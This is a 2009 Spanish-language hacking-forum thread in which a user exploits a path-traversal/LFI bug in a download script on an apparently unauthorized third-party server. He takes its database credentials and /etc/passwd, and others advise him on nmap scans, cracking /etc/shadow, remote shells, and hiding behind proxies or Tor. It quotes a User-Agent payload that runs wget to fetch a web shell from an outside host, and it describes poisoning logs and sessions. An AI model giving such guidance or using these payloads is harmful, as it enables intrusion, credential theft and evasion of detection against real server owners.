Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: SnakingMax en 18 Julio 2009, 05:35 am



Título: Vulnerabilidades en PHP
Publicado por: SnakingMax en 18 Julio 2009, 05:35 am
Hola, estoy intentando acceder a una BD SQL. Espero que podáis ayudarme.
POR PASOS:

Entro a la web y encuentro el archivo "descargas.php" con el siguiente codigo:
<?
        $ruta=$HTTP_GET_VARS['dir'];
   
   $enlace = "../directorio/".$ruta;

   header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
   header ("Content-Type: application/octet-stream");
   header ("Content-Length: ".filesize($enlace));
   readfile($enlace);
?>

Con lo cual haciendo:
http://www.servidor.com/descargas.php?dir=../../conectarsql.php

Consigo bajar el código del archivo conectarsql.php:

<?
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);
?>

Ahora ya tengo la base de datos, el usuario y la contraseña.
Hago un ping a www.servidor.com y ya tengo la IP del servidor también.

Y ahora que tengo todo viene la gran pregunta:
¿Cómo me conecto remotamente a esa B.D.?
¿Es posible el acceso remoto a la base de datos SQL?
¿$enlace = "../directorio/".$ruta; todavía me vale para robar algun archivo más que no sea el passwd ni los logs porque no tengo permiso para ello?

Espero que podáis echarme una mano con esto. Gracias


Título: humm,
Publicado por: Monkito en 18 Julio 2009, 07:15 am
-pensemos..


Título: El tema es algo complicado
Publicado por: Monkito en 18 Julio 2009, 07:27 am
El código indica que el servidor de base de datos es el mismo servidor web, en tal caso sólo bastaría tener en el my.conf el atributo bind-address=127.0.0.1 para que nunca te puedas conectar vía remota..

Código:
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);

En todo caso usa nmap para averiguar si la ip que tienes tiene accesible el 3306, y esperemos que siga siendo ese y no lo hayan cambiado sino nos toca buscarlo en los 65535 puertos   :huh:

Para acceder a esa base de datos se me ocurre:

- 1, con php-injection
- 1.a algún archivo.php creado por ti para manejar esa BD.
- 1.b alguna forma de obtener shell remota.
- 1.c ver que versión de SO tiene para buscar algun exploit.
- 1.d etc etc etc

- 2 Si el servidor web no hace chroot puedes descargar el /etc/password o /etc/shadow para tratar de crakear la clave del root, aunque parezca imposible muchos admins usan claves fáciles..., luego de eso tratar de acceder via ssh.

-


Título: Re: Vulnerabilidades en PHP
Publicado por: SnakingMax en 13 Octubre 2009, 21:06 pm
Monkito, eres un fenómeno!
Acabo de echar un vistazo al my.cnf y dice que:

# localhost which is more compatible and is not less secure.
bind-address      = 127.0.0.1

Así que al menos ya se que me puedo ir olvidando de conectarme remotamente.

Lo del /etc/passwd ya lo había hecho y me devolvió el fichero de contraseñas. Pero no aparece la contraseña porque están en shadow, así que me intenté bajar el fichero shadow pero no me deja (mira tú para qué inventaron el fichero shadow) :-(

Podría intentar conectarme con un cliente FTP y con un usuario de esos por defecto que hay en el /etc/passwd, porque su servidor FTP usa el /etc/passwd para ver si puedes o no conectarte. El problema es que me acojonan los logs del servidor FTP y no me atrevo a entrar;
solo se que no se nada de lo que hay ahí dentro xD.

Supongo que podría hacer una inyeccion php para que me devuelva una shell al servidor, tengo que ver eso, voy a googlear un poco.

Muchas gracias por comentar y dedicarme tu tiempo!! saludos


Título: Re: Vulnerabilidades en PHP
Publicado por: :ohk<any> en 13 Octubre 2009, 21:49 pm
Dios!

Como es que consigues bajar un archivo .php y ver los datos de conexión.
Necesito info, al parecer soy muy No0b :(

:¬¬


Título: Re: Vulnerabilidades en PHP
Publicado por: Jubjub en 13 Octubre 2009, 22:26 pm
<?
        $ruta=$HTTP_GET_VARS['dir'];
   
   $enlace = "../directorio/".$ruta;

   header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
   header ("Content-Type: application/octet-stream");
   header ("Content-Length: ".filesize($enlace));
   readfile($enlace);
?>

:¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬ :¬¬

:P solamente una falla LFI


Título: Re: Vulnerabilidades en PHP
Publicado por: WHK en 14 Octubre 2009, 00:08 am
Citar
# localhost which is more compatible and is not less secure.
bind-address      = 127.0.0.1
Claro, no puedes conectarte remotamente, esa falla de seguridad que tiene el servidor es LFI y file disclosure solamente y no puedes obtener los .frm de la base de datos mysql por muy localhost que sea ya que ese directorio tiene permisos por defecto que te van a denegar su lectura por lo tanto no te queda otra que buscar otras vulnerabilidades como para poder hacer inyección SQL y hacer dump a la base de datos o intentarle subir algo para hacer el dump igual.



Título: Re: Vulnerabilidades en PHP
Publicado por: braulio-- en 14 Octubre 2009, 18:08 pm
Pero podiendo ver el código de todas las aplicaciones seguro que encuentras alguna vulnerabilidad.
Podrías entrar por ftp a través de algún proxy anónimo y así es improbable que te pillen.


Título: Re: Vulnerabilidades en PHP
Publicado por: SnakingMax en 15 Octubre 2009, 05:52 am
Gracias a todos por la ayuda.
Tienes razón OHK sería mejor que buscase otras vulnerabilidades, tengo acceso al /etc/passwd y eso me dice bastante de las aplicaciones que tiene instaladas. (y de los usuarios todo menos la contraseña, hay que jod¿¡#$1J&)
También tengo acceso a su version de linux y otros datos interesantes para buscar vulnerabiliades nuevas.

Con LFI solo me queda probar algo similar a esto que encontré en google (para conseguir shell remota como dijo Monkito):
-----------------------------------------
Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
    Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
    
      www.website.com/view.php?page=../../../../../proc/self/environ
      
     Choose Tamper and in User-Agent filed write the following code :
    
        <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
        
    Then submit the request.
    
     Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don't work,try exec() because system() can be disabled on the webserver from php.ini.
-------------------------------------------

Después trataré de buscar nuevas vulnerabilidades como dices OHK.

Braulio23, lo del proxy casi que lo dejo como última opción. De todas maneras gracias braulio23, es bueno tener en cuenta todas las posibilidades, y en último caso podría conectarme haciendo un tunel con la red TOR....


Título: Re: Vulnerabilidades en PHP
Publicado por: kamsky en 15 Octubre 2009, 13:09 pm
Ese método del que hablas está bastante bien explicado y en castellano en esta página:

http://hacking-avanzado.blogspot.com/2009/09/pen-testing-como-conseguir-una-shell.html


Título: Re: Vulnerabilidades en PHP
Publicado por: 0x0309 en 15 Octubre 2009, 13:17 pm
si quieres podrías enviarme un privado con la url para analizar que te puede resultar.


Título: Re: Vulnerabilidades en PHP
Publicado por: WHK en 15 Octubre 2009, 22:00 pm
Recuerdo una ves testeando en imageshack que podías hacerle LFI al log de acceso del apache, entonces le inyectas tu shell en una petición GET para que aparezca en el log y luego le haces LFI para que se ejecute, por ejemplo un test.php?x=<?php phpinfo(); ?>


Título: Re: Vulnerabilidades en PHP
Publicado por: SnakingMax en 16 Octubre 2009, 08:41 am
Gracias por ofrecerte 0x0309 pero prefiero guardar la URL en privado.
Kamsky muchas gracias, es un buen manual viene todo explicado perfectamente. Lo seguí pero no tengo permiso para acceder a /proc/self/environ
Y gracias también a ti WHK, me informé en un tutorial de cómo se inyecta una shell en los logs y busqué dónde se alojaban en este servidor pero me deniega el acceso a ellos; en este caso estaban en /var/apache2/logs/ o en un directorio similar.

Parece que no se puede sacar mas provecho a esta vulnerabilidad, tengo que buscar otras.
Si consigo algún logro ya os lo comento por aquí  ;D

Por último decir que si a alguien le interesa el videotutorial de lo que me comentó WHK, es decir, el que explica cómo inyectar una shell en los logs de apache puedo subirlo a rapidshare o similares y colocarlo aquí para todos.

Un saludo y gracias por la ayuda


Título: Re: Vulnerabilidades en PHP
Publicado por: kamsky en 16 Octubre 2009, 13:02 pm
Es lo que se comenta en el artículo, que teóricamente está muy bien, pero que en la práctica es raro encontrar un Server con permisos...


Título: Re: Vulnerabilidades en PHP
Publicado por: braulio-- en 16 Octubre 2009, 14:49 pm
También puedes intentar infectar sesiones para conseguir una shell.
http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html (http://0verl0ad.blogspot.com/2008/08/local-file-inclusion-infectando.html)


Título: Re: Vulnerabilidades en PHP
Publicado por: WHK en 16 Octubre 2009, 20:37 pm
ah también es una posibilidad inyectando código en una sesion pero tendrias que buscar si puedes establecer algun tipo de dato en alguna variable si es que el sitio web acepta sesiones y si es que la inicia contigo.

Citar
Es lo que se comenta en el artículo, que teóricamente está muy bien, pero que en la práctica es raro encontrar un Server con permisos...
En la mayoría de los servidores compartidos el log de acceso no es uno solo de forma global sino que cada host tiene su propio directorio con acceso a los logs y puedes acceder desde php facilmente, solamente retrocedes un directorio desde public_html y buscas un directorio llamado los, log, accesslogs, acceslog, etc y una ves que lo encuentres el log de aceso tiene el mismo nombre que el dominio, o sea si es ejemplo.com asi mismo se llamará el archivo


Título: Re: Vulnerabilidades en PHP
Publicado por: SnakingMax en 17 Octubre 2009, 01:03 am
Gracias a los tres por la ayuda, aunque no fuí capaz de entrar estoy aprendiendo mucho de todo esto, no sabía que el RFI se podía exprimir tanto  ;D

Estoy viendo lo de envenenar sesiones y parece que es muy similar a envenenar los LOGS.
Os lo explico para ver si lo entendí bien, si estoy equivocado corregidme:
Se trata de aprovechar una variable que uno puede pasar como parámetro para que escriba código PHP dentro de un archivo y postreriormente llamarlo con el RFI, ya sean logs o sesiones, lo entendí como "el mismo truco" para las sesiones que para los logs.

En este caso al archivo de sesiones tengo permiso, pero el problema es que ese archivo almacena solo 3 cosas y por lo que veo en el código, no cuenta conmigo para nada:
fecha     hora     ip

Por ejemplo:
13/04/1877      12:23      127.0.0.1

Así que creo que no puedo inyectar nada en ese archivo.
Os dejo el código de la funcion newSes del codigo fuente PHP por si alguien encuentra algo que yo no soy capaz de ver:

   function newSes()
   {

      $fecha = date('d')."/".date('m')."/".date('Y');
      $hora = date('H').":".date('i').":".date('s');
      if (file_exists("../logses/ses.txt"))
                {
         $archivoLog = fopen ("../logses/ses.txt","a");
      }else{
         $archivoLog = fopen ("../logses/ses.txt","w");
      }
      $line = $fecha." \t".$hora." \t ".$this->getIp()." \r\n";
      fputs ($archivoLog,$line);
      fclose($archivoLog);
            
   }
}

Saludos y gracias por vuestra ayuda